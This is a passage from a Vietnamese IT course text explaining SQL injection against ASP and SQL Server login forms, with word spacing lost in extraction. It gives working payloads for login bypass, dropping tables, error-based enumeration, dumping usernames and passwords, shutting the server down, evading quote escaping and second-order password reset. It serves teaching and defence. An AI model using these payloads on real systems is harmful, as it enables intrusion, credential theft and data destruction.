IV. Cáchphòngchống.
-Trang56-
STT Têntrường Càiđặtvật lí Kiểu trường Kích thước Diễngiải
1 tkUsername Khóachính Text 50 Mỗi ngườidùng có 1 accountđểđăngnhập. 2 tkPassword Text 50 Password để đăng
nhập KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
CHƯƠNG 6:
I. KHÁI NIỆM SQL INJECTION
SQLInjection làcáchlợidụng nhữnglỗhổngtrong quátrình lậptrìnhWeb về phần truy xuất cơ sở dữliệu.Đây không chỉ là khuyếtđiểm của riêng SQL Servermà nó còn làvấn đềchung chotoàn bộcác cơ sởdữliệu khácnhưOracle, MSAccesshay IBMDB2.
Khi hacker gửi những dữ liệu (thông qua các form),ứng dụng Web sẽ thựchiện và trảvề chotrìnhduyệtkết quảcâutruyvấn haynhữngthôngbáo lỗicóliênquanđến cơ sở dữ liệu.Và nhờnhững thông tin này mà hacker biết được nội dung cơ sở dữ liệuvàtừđócóthểđiềukhiểntoànbộhệthốngứngdụng.
II. GIỚITHIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU
Đểtrình bàytốthơn nộidung kĩthuậtnày, luậnvăn sửdụngbảngUserđể minhhọa kĩthuậttấncông.
-Trang57- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Quyước:
Ngônngữlập trìnhsửdụng đểminh họatrongchương nàylà ASPvớicơ sởdữliệu làSQLServer.
III. CÁC CÁCH TẤN CÔNG
III.1. Kĩ thuậttấn công SQL Injection
Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form đăngnhập.
Vídụ 6.III.1-1:giảsửứngdụngwebcóđoạnmãsau:
SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”
flag= GetQueryResult (SQLQuery) if flag = “” then
check=FALSE else
check=TRUE end if
ĐoạnmãtrênkiểmtrachuỗinhậpUsernamevàPassword.Nếutồntạitrongbảng Userthìcheck=truengượclạicheck=false.
Giátrinhậpvàolà:
Username: ’ OR ‘’=’
Password: ’ OR ‘’=’
-Trang58- KhoaCNTT
CâulệnhSQLlúcnàynhưsau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’
Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên trongbảngsẽđượcchọn.
KếthợpvớikítựđặcbiệtcủaSQL:
• kítự“;”:đánhdấukếtthúc1câutruyvấn
• kítự“--”:ẩnchuỗikítựphíasaunótrêncùng1dòng
Vídụ 6.III.1-2:
Username: ’; drop table User--
Password:
CâulệnhSQLlúcnàynhư sau:
SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’”
Với câulệnhtrênthìbảngUsersẽbịxóahoàntoàn.
Vídụ 6.III.1-3:Một ví dụkhác sửdụng kí tựđặc biệtSQL để thâmnhập vàohệ thốngnhưsau:
Username: admin’--
Password:
-Trang59- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
CâulệnhSQLnhưsau:
SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND Password= ‘” & tkPassword & “’”
Câu lệnh trên cho phépđăng nhập vào hệ thống với quyền admin mà khôngđòi hỏipassword.
III.2. Tấncông dưa vào câulệnh SELECT
Ngoài kĩ thuật đơn giản trên, việc tấn côngthường dựa trên nhữngthông báo lỗi để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cầnphảihiểunhữngthôngbáolỗivàtừđóchỉnhsửanộidungnhậpchophù hợp.
KháiniệmDirectInjection:
Nhữngđối sốđượcthêm vàotrongcâulệnhmà khôngnằmgiữanhữngdấunhấy đơn haydấungoặcképlàtrườnghợpdirectinjection.VídụIII.2.1
Vídụ 6.III.2-1:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName
KháiniệmQuoteInjection:
Nhữngtrườnghợpđốisốđượcnhậpvàođềuđượcứngdụngchovàogiữahaidấu nháyđơnhayngoặcképlàtrườnghợp QuoteInjection.VídụIII.2.2
Vídụ 6.III.2-2:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName &
-Trang60- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tựđược chèn vàovàởcuốicâulệnhphảicómộtdấunháyđơn,chẳnghạnnhưsau:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’”
Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong chuỗichènvàophảicó“)”:
Vídụ 6.III.2-3:Giảsử:
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tN ame
& “’”)
Thìcúpháphợplệnhưsau:
StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or ‘’=’’”
Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông tin.
Vídụ 6.III.2-4:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &
-Trang61- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
III.3. Tấncông dựa vào câulệnh HAVING
HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu hiệuđểnhậnthôngtinbảng,trường…vàsẽđượcbànsâuhơntrongphần4.
III.4. Tấncông dựa vào câulệnh kết hợpUNION
Lệnh SELECT được dùng để lấy thông tin từ cơsở dữ liệu.Thông thường vị trí có thể được chènthêm vàomột mệnh đềSELECT làsau WHERE.Đểcó thể trả về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE bằngcáchchènthêmUNIONSELECT.
Vídụ 6.III.4-1:
StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ &
tName & “’UNION SELECT tkPassword from User”
Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPasswordtrongbảngUser.
Ghi chú:
• Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột trong câulệnh SELECTbanđầu và câulệnh UNIONSELECT phía saubằng nhauvàcùngkiểu.
kiểucủamỗitrường.
-Trang62- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Sau đâylànhữngvídụđược thựchiệnkhikhôngbiếtnộidung cơsởdữliệudựa vàoHAVING,GROUPBY,UNION:
Vídụ 6.III.4-2:Nhắclạicâutruyvấncầnđểđăngnhập:
SQLQuery= “SELECT tkUsername,tkPasswordFROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPasswo rd
& “’”
Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điềukiện“having”,nhưvídụsau:
Giátrịnhậpvào:
Username: ’having 1=1--
Lỗiphátsinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'User.tkUsername' is invalid in the select list because it i
s
not contained in an aggregate function and there is no GROUP BY
Nhờ vàolỗi phátsinh nàymà biếtđược bảng sửdụng trongcâu truyvấn làUser vàtrongbảngtồntạimộttrườngtênlàtkUsername.
SauđósửdụngGROUPBY:
Vídụ 6.III.4-3:
Username: ‘group by User.tkUsername having 1=1--
-Trang63- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Lỗiphátsinh:
[Microsoft][ODBC SQL Server Driver][SQL Server]
Column'User.tkPassword'is invalid in the select list because it
is not contained in either an aggregate function or the GROUP BY
clause.
NhưvậytkPasswordlàmộttrườngcủabảngUservàđược sửdụngtrongcâutruy vấn.
Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng Userthamgiavàocâutruyvấn.
Khi không còn báolỗi cú phápGROUP BY nữathì chuyển quacông đoạn kiểm trakiểucủatừngtrườngtrongbảng.LúcnàyUNIONđượcsửdụng:
Vídụ 6.III.4-4:
Lệnhsumlàlệnhtínhtổngchođốisốbêntrongdấungoặc.Đốisốphảilàkiểusố. Nếuđốisốkhônglàkiểusốthìphátsinhlỗinhưsau:
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type a s
an argument.
Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”.
-Trang64- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng. Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào bảngUser.
Vídụ 6.III.4-5:
Username:’; insert into User(tkUsername,tkPassword) values
(‘admin’, ‘’)--
Hackerthêmnộidungnhư Vídụ6.III.4.2.4 bâygiờtrởthànhngườiquảntrịmạng màkhôngcầnmậtkhẩuđểchứngthực.
Ví d ụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong bảngUser:
tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng mớilàfoocómộttrườnglàretbằngđoạnmãsau:
create proc test as
begin
declare @ret varchar(8000) set @ret=':'
select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo
end
Thựcthicâulệnhbằngcáchnhậpvàoform.
Username:’;Create proc test as begin declare @ret
varchar(8000) set @ret=’:’ select @ret=@ret+'
-Trang65- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
'+tkUsername+'/'+tkPassword from User select @ret as ret in to
foo
• Bước2:GọiStoredproceduređó
Saukhiđãtạođượcstoredprocedurenhưtrên,thựchiệnlờigọihàm:
Username:’;exec test
• Bước3:DùngUNIONđểxemnộidungbảngfoo
Username:’;select ret,1 from foo union select 1,1 from foo
Lỗiphátsinh:
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ':
admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu'
to a column of data type int.
Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên tkUsernamevàmậtkhẩutkPassword.
• Bước 4:Ngoàirahackercòncóthểcẩnthậnxoábảngfoođểxoádấuvết:
Username: ‘; drop table foo--
Ví d ụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User, cònmộtphươngpháptìmkiếmthôngtinnhưsau:
• Bước1:
TìmtuầntựtừngdòngtrênbảngUser
Username:’union select 1,1
-Trang66- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
hoặc:
Username:’union select min(tkUsername),1from User where
tkUsername> ’a’-- Lỗiphátsinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax err or
converting the varchar value 'admin' to a column of data ty pe
int.
NgườiđầutiêntrongbảngUserlà“admin”.
• Bước2:
Đểbiếtcácgiátrịtiếptheo,nhậpchuỗisau:
Username:’;select min(tkUsername),1 from User where
tkUsername> ’admin’union select 1,1 from User Lỗiphátsinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error
converting
the varchar value 'nhimmap' to a column of data type int. • Bước3:
Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername trongbảngUser.
-Trang67- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
• Bước4:
ĐểbiếtthêmvềtkPasswork,cóthểthựchiệnnhưsau:
Username:’;select tkPassword,1 from User where tkUsername=
’admin’union select 1,1 from User Lỗiphátsinh:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting
the varchar value 'passOfAdmin' to a column of data type int.
Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến bảnghệthốngINFORMATION_SCHEMA.TABLES.
Vídụ 6.III.4-8:
select TABLE_NAME from INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server.TrườngTABLE_NAME chứatêncủamỗitabletrongcơsởdữliệu.
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User'
Câulệnhtrênđượcsửdụngđểbiếtthôngtinvềcộttrongbảng.
NgoàiracòncóthểdùngUNIONđểbiếtcácbiếnmôitrườngcủaSQLServer.
-Trang68- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Vídụ 6.III.4-9:ĐểbiếtứngdụngđangchạytrênServernào,cóthểxácđịnhbằng cáchsau:
Lỗiphátsinh:
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax
error converting the varchar value 'KHOAI_NGU' to a column o f
data type int.
III.5. Tấncông dưa vào lệnh INSERT
Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử dụng,guestbook…v..v…
Kĩ thuật “;”, “--“ được dùng nhưđã từngdùng với câu lệnh SELECT,phải đảm bảo đúng sốlượng và kiểu giá trịđược nhập vàonhằm tránh lỗivề cúpháp (nếu khôngxácđịnhđượckiểudữliệucóthểnhậptấtcảlàsố).
Vídụ 6.III.5-1:
SQLString= “INSERT INTO User VALUES (‘” & strUsername & “’, ‘” &
strName& “’, ‘” & strPassWord & “’,’”& strLimitSize & “’)”
-Trang69- KhoaCNTT
III.6. Tấncông dưa vào STORED PROCEDURE
Stored Proceduređược sử dụng trong lập trình Web vớimục đích giảm sự phức tạp trong ứngdụng vàtránh sựtấn công trong kĩthuật SQL Injection.Tuy nhiên hackervẫncóthểlợidụngnhữngStoredProceduređểtấncôngvàohệthống.
Ví d ụ 6.III.6-1: Stored procedure sp_login gồm hai tham số là username và password.Nếunhập:
Username: nhimmap
Password: ‘;shutdown--
Lệnhgọistoredprocedurenhưsau:
exec sp_login ‘nhimmap’,‘’;shutdown--’
LệnhshutdownthựchiệndừngSQLServerngaylậptức.
III.7. Nângcao
III.7.1. Chuỗikí tựkhôngcó dấunháy đơn:
Những nhà lập trình có thể bảo vệ ứng dụng của họ bằng cách loại bỏ tất cả dấunháy, thôngthườngloạibỏdấunháybằngcáchthaymộtdấunháythành2 dấunháy.
Vídụ 6.III.7.1-1:
Function escape (input)
Input=replace(input, “’”, “’’”) escape=input
end function
-Trang70- KhoaCNTT
Rõrànglà,nóngănchặnđược tấtcảnhữngkiểutấncôngtrên. Tuynhiênnếu muốntạo ra một chuỗigiá trị màkhông dùngcác dấunháy, có thể dùnghàm “char()”nhưvídụsau:
Vídụ 6.III.7.1-2:
INSERT into User VALUES(666, char(0x63) +char(0x68) +char(0x72) char(0x69) +char(0x73) ,char(0x63) +char(0x68) +char(0x72) +char(0x69) +char(0x73),0xffff)
Ví d ụ 6.III.7.1-3 trên tuy là một câu truy vấn không có dấu nháy đơn nào nhưngnóvẫncóthểinsertchuỗivàobảng,vàtươngđươngvới:
INSERT into User VALUES( 666,’chris’,’chris’,255)
Hackercũng cóthể chọn username,password làsố đểtránh dấunháy nhưví dụsau:
Vídụ 6.III.7.1-4:
INSERT into User VALUES( 667,123,123,0xffff)
SQLserversẽtựđộngchuyểntừsốsangchuỗi.
III.7.2. Tấn công2tầng
Mặc dù ứngdụng đã thay thếdấu nháy đơn nhưng vẫncòn khả năng bị chèn đoạnmãSQL.
Vídụ 6.III.7.2-1:Đểđăngkíaccounttrongứngdụng,nhậpusernamenhưsau:
Username: admin'—
Password: passofadmin
-Trang71- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
Ứngdụngsẽthaythếdấunháy,kếtquảtrongcâuinsertsẽnhưsau:
INSERT into User VALUES(123, 'admin''--', 'password',0xffff) (nhưngtrongcơsởdữliệusẽlưulà“admin’--“)
Giả sửrằng ứng dụng cho phép người dùng thay đổi mật khẩu.Các đoạnmã ASP được thiết kế đảm bảo rằng người sửdụng phải nhập đúng mật khẩu cũ trướckhinhậpmậtkhẩumới.Đoạnmãnhưsau:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") ); newpassword = escape( Request.form("newpassword") ); var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + userna me
+ "' and password = '" + oldpassword + "'"; rso.open( sql, cn );
if (rso.EOF) {…
Câutruyvấnthiếtlậpmậtkhẩumớinhưsau:
sql = "update users set password = '" + newpassword + "' whe re
username= '" + rso("username") + "'"
rso(“username”)chínhlàgiátrịusernamecóđượccâutruyvấnloginvànólà admin’--
-Trang72- KhoaCNTT
Chương 6: Chèn câu truy vấn SQL (SQL Injection)
update users set password = 'password' where username = 'admin'--'
Nhờđóhackercóthểthayđổimậtkhẩucủaadminbằnggiátrịcủamình.
Đâylà1trườnghợpcòntồntạitronghầuhếtnhữngứngdụnglớnngàynaycó sửdụng cơ chế loại bỏ dữ liệu.Giải pháp tốt nhất làloại bỏ những giá trị lỗi hơn làchỉnhsửalại.Nhưngcómộtvấn đềlàcó mộtsốô nhậpdữliệu(nhưô nhậptên)chophépnhữngkítựnày.Vídụ:O’Brien.
Cáchtốtnhất đểgiải quyếtvấnđề nàylàkhôngchophép nhậpdấunháyđơn. Nếu điều này không thể thực hiện được , thì loại bỏ và thay thế như trên. Trong trường hợp này, cách tốt nhất là đảm bảo tất cả dữ liệu được đưa vào câu truy vấn SQL (kể cả những giá trị trong cơ sở dữ liệu) phải được kiểm